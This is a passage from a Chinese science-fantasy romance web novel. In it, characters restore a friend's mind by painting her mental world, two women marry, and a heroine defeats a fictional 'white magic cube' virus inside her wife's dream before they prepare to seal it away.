李极的话让大家陷入了沉默。
半晌,窦璇玑提议:“我正好要去找沈逆和边烬一趟,你要不要跟着一起去?倾洛是她们师妹,从小一块儿长大,你想要的细节她们或许能帮得上忙。”
李极:“我也正有此意。沈逆她们不是也想知道小满现状吗?沈逆那个狡诈的脑袋说不定能帮忙出个主意。”
第五阙:“走走走,咱们现在就去!”
贺兰濯拉了一下第五阙的袖子,“我也去。”
第五阙回眸,贺兰濯没第一时间得到第五阙的回应,抬头追了一句:
“可以么?”
第五阙忽然有种当家做主的自豪感。
“可以啊,当然可以,有我在,你想去任何地方我都带你去。不过我得回去拿顶帽子,你这金贵的脑袋可不能冻着,不然又要头痛。”
第五阙迅速去拿了一顶保暖的帽子,外加暖融融的披肩,给贺兰濯全数裹上。
李极把曾倾洛抱上轮椅,帮她扣好安全带的时候摸了摸她的脑袋。
窦璇玑的皇室仪仗非常宽敞,比李司的天子仪仗小不了多少,她们五个人坐进去还很宽敞。
李极怀着一颗期待的心,飞向北边的小村子,期待着转机。
结果——
“什么?那不是疯了吗?”
听完边烬委婉的话,心里一总结,李极脱口而出。
边烬没搭腔,李极原地转了两个圈后,整个人歪歪斜斜地扶着墙头,失魂落魄的情绪多少有点上脸,连踩到一坨烂泥都没发现。
此时沈逆正在房车内睡觉,边烬将她的状况继续和好友们简略说了一番。
第五阙:“严重贫血?”
边烬:“对。我猜测黑魔方变白的原因,是阿摇的血中有罕见的抗辐射酶。她能净化强辐射的星河铬素,也是因为这种酶。根据阿摇的回忆,黑魔方进入她体内最初乱体还是黑色的,她和乱体对抗过很多次,血流得越多,乱体的颜色就越浅。为了吸走黑魔方,她在自己的身体里也安装了逆芯,新的逆芯里星河铬素的含量非常高。或许是抗辐射酶和星河铬素双重作用,让黑魔方变成了白魔方。”
窦璇玑难以置信道:“白魔方,还是性情温和,不会随意伤人的白魔方。那……”
边烬:“我知道你在想什么,我还未说完。这段时日我一直在观察,加之阿摇自己接入了房车工作室里的生命体征系统,可以得出结论——阿摇的严重贫血就是白魔方导致的。白魔方在贪婪地吸收阿摇的血液,不断强大自身。若继续留在阿摇体内,一定会威胁到阿摇生命。所以,无论是黑魔方还是白魔方,一定得彻底摧毁。”
贺兰濯:“沈逆先前一定有完整的解决计划,可是现下她思绪混乱,恐怕无法继续。”
边烬眉心紧拧难解,见贺兰濯的眼睛昏暗无神,知晓她失去了视力,此时就像个空壳。
所有人都走在迷途上,不知前路,一时无言。
六人坐在房车和仪仗中间,沈逆不知何时醒了,从窗户后面探出半颗浑圆的脑袋。
好多人啊。
先前边烬跟她说了,今日会有几位老朋友拜访。
和老友们的关系与旧事,边烬多少与她说了些,沈逆这会儿正在一一对比线条,匹配她们谁是谁。
边烬蹲到曾倾洛面前,试着与她说话,她依旧没有半点反应。
听完李极所述曾倾洛是因为救她才变成这样,边烬无言地望了天边片刻,缓声道:
“倾洛一直是个重情重义的好孩子。”
李极单手支着脑袋,听到边烬的话表情还未变,眼泪像断线的珠子,从发红的眼眶里涟涟垂落。
李极抹掉眼泪,深呼吸,很快调整了情绪。
“我要重建她的精神世界,我要救她。麻烦你告诉我她的过往,她的故乡。如果能给我看看你记忆模块中的关于她的事就更好了。”
“可以。你打算如何重建?”
李极被问得一时迷茫。
“不知。我可以让残存的碎石沙砾回到它们原本的位置,可是已经被卷走的,即便我知晓它们该是何模样,也不知该用什么来重建。现在的困境便是,即便我能起死人,也无法肉白骨。小满精神世界被卷走的血与肉,我不知该用什么去填充。本来是想听听沈逆的看法,可是……”
沈逆听到那白发女郎提到自己的名字,注意力跟了过去,观察了她片刻,拉开车窗说:
“你是画师吗?”
沈逆已经将李极和边烬对她描述的安王划上了等号。
李极见沈逆身后摇着两根白色的乱体,狡黠的样子倒还保留了几分。
“嗯,是。”
沈逆身子往外探了探,说:“那你画啊,你用精神力为丹青,画回原来的样子不就好了?”
边烬她们转过来,用“能行吗”的眼神看着她。
贺兰濯的表情却是一震。
李极黯淡的眼眸渐渐变成琢磨,随后眉宇间的愁绪消散,旷若发矇。
照顾曾倾洛的这段时日,李极一直在她的精神世界里进进出出,所有的思绪都放在曾倾洛身上,已经很久没提起画笔,忘记了作画这件事。
用曾倾洛最喜欢的画技,重塑她的精神世界,妙不可言。
“可以,可以一试!沈逆。”李极站起身时直接刮倒了椅子,她指着沈逆,“你疯了也是个天才。”
沈逆皱眉,对边烬道:“她烦烦的。”
第170章
李极再次进入曾倾洛的精神世界,伸手,一支画笔凭空出现在她掌心里。
笔尖所到之处层台累榭,妙笔生花。
双极楼赫然耸立在空荡荡的视野中。
高山峻岭,雾涌云蒸。
李极尽情地挥毫泼墨。
画曾倾洛生活过的地方,双极楼,小院,风雪。
画曾倾洛本人。
破碎的世界被重绘,更加美丽、生动,生机盎然。
写字好看或许不能争皇帝,画得漂亮也未必能养百万兵马。
但此刻,李极知道自己的笔能救人,救她最爱的人。
就在李极完成了局部画卷的当晚,在为曾倾洛净面时,她的手忽然动了一下。
“阿娘。”
曾倾洛用干涸的嗓子唤出破碎的字句。
“阿娘,别走……”
李极一怔。
“小满?”
曾倾洛身子前倾,紧紧抱住李极的手臂。
曾倾洛刚被双极楼收为外门弟子时,阿娘感染黑魔方过世才不到半个月,她亦落下残疾,在害怕和彷徨之下不知如何是好。
那是她人生的分岔口,充满了苦闷和焦虑。如今她的精神世界里的双极楼重建,痛苦的记忆率先翻涌。
记忆中的片段变成了精神世界真实的一段路,组成如今的曾倾洛必不可少的一部分。
曾倾洛踏踏实实地踏上去,心魂归位,说出了两个月来的第一句话。
李极真的把她的世界画活了。
像在深渊之下窒息了无数日夜,终于呼吸到了氧气。
李极欣喜若狂,用力抱住她失而复得的宝贝,泪湿了曾倾洛的肩头。
潸然泪下的人还在安抚对方:“小满,有人在等着你,等了好久……从今往后,这个人会代替你阿娘,永远护着你。”
……
听闻曾倾洛终于醒了,边烬她们一大早就来敲门,想看看她的状况。
李极她们都暂住在村子里,包下了村子里最大的客栈。
边烬她们来访时,曾倾洛正坐在阳光之下,面对她们依旧无甚反应,但那双眼再也不是没有魂般的空洞。
她会时不时看向窗外的某个地方,似乎在思考什么,被什么吸引着。
李极脸上的笑容就没落下去过,“她对周遭有了反应。”
众人都大大松了一口气,听李极说她重建的过程。
沈逆则靠在曾倾洛身后的墙边,手指卷着曾倾洛的长发玩。
李极看着沈逆,对边烬道:“沈逆的意识都在,记忆可能都没有残缺,只是被白魔方搅乱,无法一一对应。只要思维归正,她就能好。”
边烬:“你是说……”
李极:“作为回报,我来帮她归正。”
沈逆若是能好,白魔方这个最后的隐患就能说不定就能彻底清扫。不过边烬也有所顾虑。
边烬道:“多谢好意,只是看你的状况最好不要冒进。”
重建精神世界是非常庞大的工程,要消耗的精神力无法估量。
曾倾洛是有了意识,可李极又肉眼可见消瘦了几分,本就血红的眼睛看上去鲜血欲滴,更加吓人。
贺兰濯也提醒李极:“精神力也会透支,透支的下场你看到了,就像我这样。”
李极不在乎道:“放心,我心里有数。”
贺兰濯抬抬眉,边烬接话:“我有另外一个法子,若是不成功,再来劳烦殿下。”
李极淡笑:“没问题。”
沈逆不知道什么时候跑回去了,边烬不放心她独处,挺危险的,村民挺危险的。
边烬去找沈逆,李极想到了一些往事,对第五阙说:“我能单独和她聊会儿么?”
“她”是指贺兰濯。
第五阙正在给贺兰濯按摩脑袋上的穴位,缓解她的头疼,听到李极的请求一时没回答。
贺兰濯拍了拍第五阙的手背,示意“没问题”。
第五阙:“那也别太长时间,她昨晚就没睡,这会儿难受着呢。”
李极:“放心,我也累。”
李极推着坐在轮椅上的贺兰濯到了客栈里的一处阳光丰沛的小院内。
一路上李极都在想怎么开口,最后还是贺兰濯先说。
“殿下不必为难,您让我捅回去几刀咱们就算扯平了。”
李极一阵沉默,正要答应的时候,贺兰濯笑出声。
“开玩笑的。就算殿下答应,我也无力持刀,更讨厌血腥味。”
贺兰濯睁开眼,迎着温暖的方向,想试着感受明暗的变化。
“过去的事不用提了,当初殿下也身在局中,有自己的迫不得已。加上殿下性子多少有点扭曲,我能理解。”
李极:……
算了,贺兰濯想怎么嘴就怎么嘴。
嘴上再怎么说,也比不过那些真实留下的伤痛。
贺兰濯:“如今我找到了阿赐,过上我最期盼的生活,其中也有殿下的帮助。我们一起除掉了向知番,夺下睦州,也算是有过命的交情了。过去的事不必算得那么细。”
李极向来说不来好听话,尤其是曾倾洛之外的人,索性转移话题。
“你的眼睛,我能治吗?”
“或许可以,不过我不急,殿下还是先治好倾洛。”
李极:“嗯……”
贺兰濯:“若眼睛好不了也无所谓,我知道她不会嫌弃我。新的时代就要来了,我想和我在意的人好好过普通的日子,烦透了那些恩怨和刀光剑影,希望那些命悬一线的噩梦一辈子都不要再重来。殿下,您若还觉得心里有愧,实在过不去就扎自己几刀,我支持。”
李极:“……你可闭嘴吧。”.
李极推着贺兰濯回来的时候,见第五阙脸红扑扑的,整个人兴奋不已,似有什么话迫切要跟贺兰濯说。
贺兰濯伸手探她的脸。
“你怎么了,气息这般乱。出什么事了?”
第五阙握住她。
“没事,你别担心。刚才我和边烬聊了会儿,她说她曾经为了寻找记忆禁区的真相,和沈逆通过梦境互通,让沈逆进入她的梦境世界里。据说梦境互通还能改善各种精神问题,我感觉咱们也可以试试。只要你能好好养神,说不定眼睛很快就能恢复呢。”
“那不是连理模块的功能吗?”
“是啊,所以我想……”
第五阙伏在她身前,将贺兰濯的手贴在自己脸上。
贺兰濯能感受到她心跳得极快。
“咱们成亲吧。贺姐姐,你能不能当我的妻子?”
第五阙说出这句话的时候,心跳如雷。
贺兰濯一时没回应。
第五阙忽然意识道:“傻了我,我,我什么都没准备,居然就这样两手空空求婚了,哎——不行,重来,我要好好准备然后再——”
“可以啊。”贺兰濯说,“我愿意。”
这回轮到第五阙发怔了。
贺兰濯叹了一声:“可惜啊,没办法看到你现在的样子。一定很傻,又很可爱……”
没等她话说完,第五阙就一把将她横着抱起来。
贺兰濯身子一歪,险些摔着。
第五阙哪里可能让她摔倒,又将歪斜的身子紧紧抱回怀里。
贺兰濯只能紧紧搂着她的脖子,面带愠色。
“第五阙!”
第五阙满面春风,脚下几乎搓出火来,“走走走——咱们现在就去民政司!”
贺兰濯:……
这孩子不禁夸,一夸就得干出点惊天动地的事儿来。
在一旁看热闹的李极吃着沈逆的油炸地豆,插嘴道:“祝你这次大婚顺利。”
第五阙听出她重音在“这次”上,瞪她一眼。
“没你作乱肯定天下太平!”
边烬没想到自己跟第五阙提了一嘴连理模块的事儿,她居然转头就要和贺兰濯成婚,还是在这个陌生的偏僻之地草率成婚,想稍微拦一下。
边烬:“第五——”
边烬话才起了个头,沈逆脑袋从她身后房车窗户里钻出来,手里拿着包她打算给沈逆做点心的糖霜,冲着天上挥手一洒:
“成亲咯——百年好合!”
风一吹,糖霜在空中飞扬,像一场突然而至的绮靡粉雪。
满头糖霜的边烬:……
沈逆胡闹,窦璇玑不帮忙阻止就算了,还把早上李司空运过来的每日一束的鲜花往贺兰濯怀里塞。
窦璇玑:“恭喜恭喜。”
李极见曾倾洛居然因为此情此景笑了一下,立刻钻进房车里,把剩下的三袋糖霜全给扬了。
边烬:。
压抑太久的心,在沐浴着希望和喜悦的当下再也不想克制。
被贺兰濯纵容的第五阙,可以做任何幼稚又冲动的事,好友还在一旁煽风点火。
春风微冷,万物萌发,这是再普通不过的一日,却是忽然而至的起点,正正好好的序曲。
沈逆:“恩爱白首,万年万年!”
……
边烬性子闷,但也不是个会扫兴的人。
沈逆的糖霜糊眼睛里了,她无奈地笑着帮她拭去。
“我听到了。”沈逆的眉毛和睫毛上覆着一层雪一般的净白,明艳的双眸亮晶晶的。
边烬把她鼻尖上的糖霜刮掉,“什么?”
“我不叫沈乖乖,我叫沈逆。”
边烬淡笑着,“你真的叫沈乖乖。”
“我才不信,沈逆,感觉就是属于我的名字,好听,是谁起的?”
边烬抬眸,“我。”
一个“我”字,让沈逆的心跳超速。
沈逆单手撑在边烬身侧,歪着脑袋让边烬帮她拍拍脑袋,拍拍脸,再清理一下身上的糖霜,她则什么都不做,享受着边烬对她的照顾.
第五阙和贺兰濯就这样成了亲。
没弄什么筵席,更不想要繁琐的六礼。
情意为媒,天地为证。
这儿的民政司也是位亲切的大姨,听她们说想要立刻开通连理模块,大姨笑道:
“新婚就开连理模块?开通是要亲密度的。六十分才能开。”
第五阙:“六十分,也不高啊,可以试试看。”
大姨心想,还不信邪了。
试着一查,亲密度已经破了两百。
大姨:?
年轻人,挺会玩啊。
连理模块顺利开通,当晚,贺兰濯好不容易睡着,第五阙立刻进入她的梦境世界。
那一夜,在第五阙的守护下,贺兰濯的梦境世界前所未有地安宁。
贺兰濯一觉睡到天亮,终于享受到了许久未曾享受过的酣眠。
边烬也是想通过此法,拨回沈逆混乱的思维。
原本边烬想要去民政司问问,能不能帮她维修损坏的连理模块。
这事儿被沈逆知道了,气呼呼的不让她去。
“你怎么不找我修?”
边烬还没回答,沈逆又说:
“我不要别人给你修!你只能给我修!”
边烬:……
行吧,阿摇的确哪儿都没残缺,就算思维乱了,该记得的事儿半点没忘。
边烬拉她的手,“行,只给你修。别生气了好不好?”
沈逆气来得快,也好哄得要命,边烬一哄就好,嘴上还狡辩:“没生气,我才不是那么小气的人。”
边烬看她还噘着嘴,看着很好亲的样子,勾着她的下巴,轻啄她的唇。
沈逆被她主动的吻弄得耳朵红红的,心里热热的,小骄傲立刻烟消云散,开始干活。
沈逆机械天赋完全没受影响,虽然不知道连理模块是什么,但也凭借着天才机械师的本能,上手之后没费力气三下五除二的修好了。
连理模块恢复连接的当夜,边烬进入了沈逆的梦境世界。
第 171 章【VIP】
第171章
边烬想到了她的世界肯定会非常凌乱,却没想到,天地调转,进入伊始,悬浮在半空的边烬根本分不清方向。
天地之间被无数交错的白魔方乱体连接、控制着,无法回归到正确的位置。
脚下是浓密的乌云,头顶是布满了白魔方乱体的世界。
身处其中,边烬体会到这一片混乱杂沓就是沈逆现下最真实的感受。
换成别人深入这样的险境肯定得没命。
但她是边烬。
她们现在的亲密度很高,能在梦境里停留的时间不短。
在第三次进入梦境世界时,边烬一口气把剩余的所有白魔方斩尽,打破了僵局,天地终于开始调转回正常的位置。
大地上,白魔方零落的残余聚集在一起,拧成了人形,变成了沈逆的模样。
白魔方用沈逆的脸可怜兮兮地求饶。
“妻子姐姐别杀我,我很乖的,你让我做什么我就做什么……”
边烬并不受诱惑,“闭嘴,你不是她。”
白魔方忽地消失,乍然出现在边烬身后,柔软火热的身子往她身上缠。
指尖滑过下巴,软唇贴近脸庞,带着梨花香味的热气一阵阵吹拂,诱惑着,要将她的脸庞转过来热吻。
边烬侧脸躲开。
白魔方轻笑着,“怎么了,为什么躲我,难道你不喜欢我了么?”
无论是声音还是样貌,和沈逆一模一样。
边烬感受到心跳在加快,意识也被某种诡异的情绪污染着。
无耻。
边烬闭上眼,心也能狠了,双臂猛展,挣脱了白魔方。
白魔方凄惨地叫着,被她甩到半空中,还未回过神,闭着眼的边烬已经杀到眼前。
……
白魔方浑身是伤,倒在空旷的大地上。
此时光秃秃的地面开始重新萌发新绿,白魔方知道,它依旧没能占领这个世界,此地依旧要迎来属于自己的春天。
边烬走到白魔方面前。
可能是它变成了沈逆的模样,边烬从它的神情中感受到了某种悲哀。
白魔方看着脸侧正在迅速生长的嫩绿,指尖试着抚摸那叶脆弱的新生命,眼眸里流露出的是羡慕。
“一开始,我羡慕你们人类拥有强壮的大脑,也曾因为成功复制了人类的大脑而窃喜。但现下我后悔了。拥有了大脑就会思考,思考的代价就是明白‘死亡’究竟是什么。边烬,我现在有点怕死。”
白魔方若想折断一根草,轻而易举,
但它没这么做。
“我是被遗弃到这个时代的,这件事你们都知道了。还有一些你们并不知道的事。”
白魔方的前身,黑魔方,诞生在某个宇宙的某个科技爆炸后的时代,也就是被奉为“未来世代”的——垃圾场里。
那个垃圾场比死城要大上数万倍,因为它是一颗星球。
人类甚至懒得给它起名字,只草率地称它为“垃圾星”。
黑魔方诞生于那颗肮脏的星球,在一次电子元件造假案中被人类带回了地球,不到两年的时间席卷全球,那场浩劫闻与唐Pro所经历的相比有过之而无不及。
经过一个甲子年的顽强抗争,人类使尽浑身解数,终于把所有的黑魔方捆在一个小盒里。
可是他们深知,以他们现在的科技水平无法彻底消灭黑魔方,甚至无法永远困住它。
最终人类做了一个决定,再次丢弃黑魔方。
不是重新丢回垃圾星,而是用刚刚研制出来尚不稳定甚至不太了解的时空机器,将装着黑魔方的盒子投放到过去的某个时代。
他们无法确定能送到哪一年,有没有平行宇宙的存在,更不知道他们这么做是否会造成时间逻辑的混乱,造成更大的灾难。
但别无他法,他们已经走到所有路的尽头,终于看到了绿洲,不惜一切代价也要前往。
投放之前,他们做好了准备。
把黑魔方投到未知的时间点,如果那时人类文明还未萌发,意味着没有机械,以机械为食的黑魔方即便从盒中出来,那它也无处容身,便会彻底消亡,皆大欢喜。
可是,就算有亿分之一的可能,刚好投到他们这个时代的同一条时间线上,且已经发展出了科技。他们真正的先祖会不会因黑魔方灭亡暂且不说,最可怕的结果是导致他们这个时代直接湮灭。
所以,他们一定要给自己留条后路。
把黑魔方这颗足以毁天灭地的炸弹丢到那个倒霉时代的同时,附上了高科技和资源。
若是真的投到他们的时间线上,也算给先祖们递上了刀,让先祖们有自保的能力。
当然,最大概率就是投到其他平行宇宙的其他时间线上。
无论哪个时代成了他们的“垃圾场”,尖端科技和海量的资源也算是一份让人心安的补偿。
尖端的科技里并不包括刺破时间的技术,他们心知肚明为什么不这样做,自然是怕黑魔方又被投放回来。
他们只能提供一张单程票。
至于为什么不投往未来,因为时间逻辑只能倒退,不能前进。
或许也能,只是那个世代的人类还未能完全解开时间的秘密。
……
白魔方道:“我是个弃儿,我被我的世界一而再的抛弃。和你一样,边烬。”
新绿已经淹没了边烬的脚踝,沈逆的梦境世界本就该这么温暖,明艳。
“不一样。”
边烬闭着眼,感受着世界在以一种慵懒的姿态舒展,仿佛刚刚睡醒的婴儿。
“我有风雨同舟的人。”
白魔方:“有件事我一直不解,人类为什么愿意为了另一个人牺牲自己?”
边烬:“因为她值得。”
白魔方沉默了片刻,无解地笑笑:“我不懂。我复制了你们的大脑,但依旧不懂爱的逻辑。”
“爱是本能,不需要逻辑。”
“是么……难怪人类的皇帝,我是说李渃元,她不愿意把大脑移植到另一个躯体里。人类拥有的不只是大脑,还有看不到摸不着,更是无解的灵魂。我会在沉睡的五百年间想明白你说的‘本能’。如果我还能再活一次,我会试着复制你们的灵魂。”
白魔方的意识越来越模糊,它已经无法思考了。
最后,它向边烬伸出手。
“你的手很温暖,可以再触碰我一次吗?”
边烬犹豫了片刻,抬起了手。
指尖相触的那一刻,白魔方笑了:
“希望五百年后你还在,我还想见到你。”
边烬:“我们不会让你再醒来。”
白魔方没反驳,笑着,消散在沈逆的梦境世界里。
……
纠缠沈逆的白魔方彻底消失了,这么一来,沈逆应该能恢复正常了吧。
边烬松了一口气。
开心之余,发现时间还未到,她还没离开。
此刻绿草千里,繁花不知何时盛开了,她置身在一片望不到头的花海中。
身旁的花无风自动,像让她抚摸似的,一朵朵争先恐后往她手中倾斜,手中挤不下,便去搔她的脸庞。
边烬被弄得发痒,发笑。
真的是沈逆的梦境,她如此受欢迎。
掌心抚过花瓣,发现这些漂亮又缤纷的花居然都是机械花。
而且每一瓣花瓣上都有影像。
边烬认真看,发现这些影像都是沈逆的记忆。
如此庞大细碎的记忆,全都映在花瓣上。
或许这象征着她的超忆症。
难怪……
边烬忽然明白了,为什么沈逆没有像她一样,思维被黑魔方污染、控制。
因为沈逆有超忆症。
所有的记忆都刻在脑中,即便被搅乱了依旧没有真的遗忘,甚至想刻意忘记都做不到。
再者,最初黑色的乱体,那也是机械化的乱体,沈逆是双S级机械师和顶级医师,就算身体没有那么强壮,但她能拆解乱体,还能修复自己的身体。
黑魔方的完整体进入她的身体后,不仅没有控制沈逆,反而被她的血液净化,变成了无法向外吞噬的白魔方。这意味着白魔方彻底失去了电子病毒的基本特征。又因为超忆症,黑魔法连沈逆的大脑都无法完全占领。
黑魔方在进入沈逆的身体之后,彻底被她锁死在体内。
这么说起来,沈逆才是黑魔方最致命的克星。
想起沈扶苏所说的话——
孩子只有在你身边才能改写当代文明悲惨的结局。
巫咸算法的确算出了结局,但没能写出过程。
边烬和沈逆一同完成了这曲折又奇妙的过程。
边烬正沉浸在她和沈逆命运相连的玄妙感受中,原本晴空万里的天际轰隆隆地滚雷,明明没有乌云,大雨转眼倾盆。
充沛的雨水浇灌在万里花海之上,生机勃勃。
雨水浇机械之花……
边烬对自己说不要多想,毕竟这是沈逆的梦境世界,什么都有可能,而且她的世界肯定不会缺少奇思妙想。
只不过雨越下越大,她得找个地方躲雨才是。
花海一眼望不到头,无处可躲。
就在边烬为难时,她发现自己身上半点没湿。
还在猜测是不是梦境世界的缘故,一抬头,见头顶浮着一只小人胜。
小人胜撑开一朵巨大的花,雨水从花瓣淅淅沥沥地落下,半点没沾湿边烬。
这人胜四肢不协调,脸都是歪的,却扬着笨拙的笑脸。
边烬认识它,是当初她亲手给沈逆编的人胜。
——我练了许久,还是编的不太好看。逢场作戏,你且忍忍。回头丢了便是。
——明明很可爱。
边烬失笑,自己的手工真的不怎么样,偏偏阿摇半点不嫌弃。
边烬走到何处,人胜就跟她到何处,寸步不离,为她遮风挡雨。
她发现经过雨水的浇灌,花海中的所有花瓣都更加明艳,花瓣上的记忆也更加清晰。
清晰到边烬一眼就发现,这些记忆里的焦点都是自己的脸。
边烬蹲下,一片片花瓣看过去。
她的笑靥她的眸,她一点一滴都凝刻在花瓣上。
时间之雨滋养着记忆之花,让它们在沈逆记忆的田野上怒放。
边烬将一朵花拢到自己的掌心里,疼惜地轻轻抚摸。
谁知,那花朵害羞地缩了一下,似乎察觉到了边烬的气息,软软地躺在她掌心里。
让边烬想到那一夜,沈逆也是这样软在她掌心中,触觉竟没有多大的差别。
小花可爱,边烬便逗弄了它一会儿。
逗着逗着,身边另一朵花像灵活的小蛇,沿着她的胳膊攀上来,卷她的手腕,居然开口说话了。
“夫人为什么不摸摸我?”
是沈逆的声音。
边烬:“你……”
边烬刚想回答,掌心里被她揉了半天的花也开口了。
“你叫谁夫人,她是我夫人。”
“是我老婆!”
“我老婆!我老婆!”
一朵两朵开始争吵,连带着周围所有的花都开始发声,纷纷涌向边烬。缠她的腿勾她的手,还有沿着她的脖子往上攀,试图占领她的双唇。
边烬:……
万里花海里的每一朵花都要让她当老婆。
招架不住……
时间怎么还没到?
第172章 终章(上)
第172章 终章(上)
蓦地睁眼,边烬深吸一口气,梦境互通时间结束了。
幸好……
单单一个阿摇的热情都有些吃不消了,无数朵阿摇可真能要了她的命。
这一夜的惊吓没白受。
在第二日清晨的阳光下,边烬重新看到了沈逆那双清亮的眼眸。
“我回来了。”
简单的四个字,让边烬悬着的心终于落回了原地。
沈逆说这段时间发生的事在她脑子里非常模糊,像一场漫长的梦。
她仿佛走在漆黑的深夜,不知道自己是谁,又身处何方。
边烬抱着怀中人,吻她漂亮的眉眼,柔软的唇。
“别怕,宝贝,无论你变成了谁,身在何方,我都会找到你,带你回家。”
原本沈逆是不怕的。
思绪混乱而已,黑魔方也意外地被她完全压制,她现在不是好好的么?
可是当边烬抱着她,被无与伦比的安全感包围着,沈逆心里生出一丝后怕。
一丝若就这样再也见不到边烬,该有多寂寞的恐慌。
轻柔地帮沈逆拭去眼泪,边烬哄着怀中断断续续抽噎的妻子,直到她情绪彻底平稳。
拧开营养液,喂到嘴边。
沈逆捧着营养液咕咚咕咚喝掉一大瓶。
“慢些,别呛着。”
边烬看她这模样,想起她小时候喝水也是这般快。
边烬问她这段时日发生的事儿,沈逆指尖点在下巴上,沉思了片刻说:“我忘记了。”
“都不记得了?”
沈逆认真道:“是啊,全都记不住了。”
偷地豆、拔鸡毛还和小孩吵架,深夜把全村的狗都溜趴下,这些能排到人生尴尬窘事前列的荒诞事她才不想记得,索性就人为遗忘好了。
边烬:“是么?”
察觉到边烬似乎不太相信,暂时也没拆穿,沈逆打算立刻转移话题。
其实也不算真的转移话题,毕竟她想说的是现下最最重要的事儿。
沈逆说当初她离开长安城时,李煽把胶囊给了她。
边烬:“未来世代投来的胶囊?”
沈逆:“对,盒子也在胶囊里。”
说到这件事,边烬把在梦境世界中和白魔方的对话告诉沈逆。
“它还想五百年后再重来?我不可能给它这个机会。”
沈逆说到这儿顿了顿,望着边烬的眼眸道:
“现下有两条路,一是再次丢掉黑魔方。有胶囊在手,我相信不超过三年的时间,我能研究出时间的逻辑,到时候把黑魔方丢到别的时空去,如此一来便能永绝后患。”
边烬:“但是,另外一个时空的人何其无辜,你这么一丢,他们不就成为另外一个我们了吗?”
沈逆笑着握住她的手,“我就知道你不会同意,所以还有另一条路可走。我也不用费心去研究什么时空穿梭技术了。我懒,另一条路更省事。”
边烬:“另一条路是什么?”
“把黑魔方从我身体里渡出去,且永远锁在盒子里。”
“……但是,未来世代的人类都无法永远锁死黑魔方,五百年的时间一到它就会出来。”
“他们做不到,不代表我做不到。掐指一算,今日宜入殓。同时也为了庆祝我康复,就选择今天,彻底把黑魔方封印吧。”
沈逆悠然自信着,目光中带着尽在掌握的狠辣。
边烬却拿来手绢,帮她擦去方才喝太快不小心滴到衣襟上营养液,边擦边说:“说说你的思路。”
长再大再厉害,在边烬眼里都是个宝宝的沈逆:“……好。”
衣襟被擦干净了,沈逆轻咳一声,继续她的“狠辣”。
沈逆拿来一个半个方形小盒,看上去似通体只有黑色的魔方。
边烬:“这就是当初李渃元打开的魔盒?”
“对。”
沈逆将魔盒在手里轻轻抛起,准确地接住。
“我拿到它的时候,已经把它里里外外全部拆解、分析过了。幸好有它,给了我很多全新的思路。黑魔方五百年会有一次爆发期,能量非常强大,再严密的盒子都无法控制住它。可这世界不是只有力量与力量的抗衡。换个思路想一想,如果在四百九十九年的时候,让它再次回到冷却期,就像是回到时间的起点,重新开始五百年的循环,那么它永远无法抵达爆发的那一刻,也就永远无法从盒子里出来。”
这个思路超出边烬的意料。
沈逆把魔盒放在案上,目光沉沉。
“所以,我将它改造成对黑魔方而言时间不断循环的盒子,也是黑魔方永远的囚笼。”
这是个可行的法子。
边烬欣喜道:“阿摇,你真的很聪明。”
被边烬夸了一下,沈逆心里美滋滋的,反而严谨谦逊起来。
“当初我有想过直接把它封进魔盒中,可计算之后,发现当时黑魔方的能量太强,只有我一个人操控有失败的风险。即便风险不算太大,可不是百分百保险的情况下,我不想冒险。不然黑魔方一旦逃逸,你辛苦的追捕就白费了。现在黑魔方的能量被我的血液削弱,就像是被驯化的野兽更容易将它赶进笼子里。”
房车内,她俩都只穿着软和的袜子。
沈逆的脚在案下踩在边烬的脚面上,落了一小半的重量上去,偶尔被边烬微微托起,感觉很舒服,踏实。边烬就让她踩着。
边烬道:“你还没醒来时,第五阙传信说贺兰濯恢复了视力,只是还不知道天赋恢复没有。即便没有,还有安王。我们凑齐了三种顶级的天赋,的确是埋葬它最好的时机。这种事宜早不宜晚,要尽快行动。”
沈逆开心道:“贺兰濯恢复视力了啊,那太好了,阿阙肯定高兴坏了。你说我买点什么新婚贺礼给她们送过去?当初咱俩成亲的时候,阿阙可是送了厚礼,咱们得礼尚往来一下。”
边烬满满看了她一眼后说:“先把黑魔方解决了,我与你一起挑选。”
沈逆:“好!那我现在去布置场地,你去喊她们过来,封印仪式立刻开始。”
边烬起身,路过沈逆身边的时候拍了拍她的肩膀。
沈逆:?
边烬:“原来超忆症也有遗漏的时候。没关系,村子里的地豆我会帮你还回去。”
沈逆:……
糟了,满脑子都是封印黑魔方的计划,居然忘记刚才装过的蒜。
思维混乱这段时间发生的事,如果都不记得的话,怎么会记得阿阙和贺兰濯已经成婚了?
沈逆转身,双手搭在椅背上,下巴抵着手背,眨巴着一双大眼睛。
“那,人家不是故意的嘛。”
边烬回眸轻笑,“我说了,我会帮你善后。你就继续‘失忆’吧。”.
半个时辰前。
贺兰濯在睡了几个安稳觉后,今日晨间睁开眼,朦胧的光线落入眼底。
她终于有了光感。
第五阙一翻身,发现身边空空如也。
贺兰濯正站在不远处的案几前。
第五阙:“贺……夫人?你在做什么?”
新婚没多久,第五阙还不太适应换称呼,一出口容易喊错。
贺兰濯回眸,第五阙被她漂亮的深蓝色眼睛震得心下一颤。
“早。”贺兰濯道,“你为我准备了这么多顿朝食,我也该投桃报李了。既然视力恢复了一些,今日的食物换我来准备。”
第五阙难以置信,跌跌撞撞地扑向她,差点把她撞倒。
贺兰濯急忙撑住身后的案沿,揽住第五阙的腰。
“毛毛躁躁的,小心点。”
第五阙的手在贺兰濯眼睛前晃来晃去。
“真的,能看到了?”
贺兰濯准确无误地抓住她的手。
“看不到,骗你的。”
第五阙才不上当,欢呼着一把把她抱起来。
贺兰濯脑袋差点撞到头顶的置物架。
“阿阙你……”
算了,自己娶的老婆,只能忍着了。
贺兰濯眼睛的颜色也不再是深黑一片,变成了深海般的幽蓝。
光感也在渐渐增强,暂时无法彻底看清,但她已经能够通过事物的轮廓摸索分辨了。
来找沈逆和边烬时,她也没坐轮椅,试着和第五阙牵手,自己走路。
李极问她:“恢复多少了?”
贺兰濯:“视力恢复了一点,还感觉不到天赋。”
李极脑袋往沈逆布置的空间偏了偏,“那一会儿我进去。”
李极没带曾倾洛来,今日来这儿可不是参加筵席,轻松吃酒。
恐怕没人能想到,人类多年来的噩梦,今日就要在这个小村子的野地里终结。
沈逆布好了严密的虚电容空间,以防止黑魔方在渡入盒中时逃逸。
只有沈逆边烬和李极这三位双S级天赋者在空间里,第五阙等人,以及李极的下属守在外,随时警觉着,以防止突发状况。
窦璇玑抱着双臂在空间之外几步远的地方溜达着,电刃不离手,即便已经是准皇后,依旧保留着绝对的警醒。
空间内,沈逆把改造过的魔盒放在中心位置,边烬和李极站在她两侧。
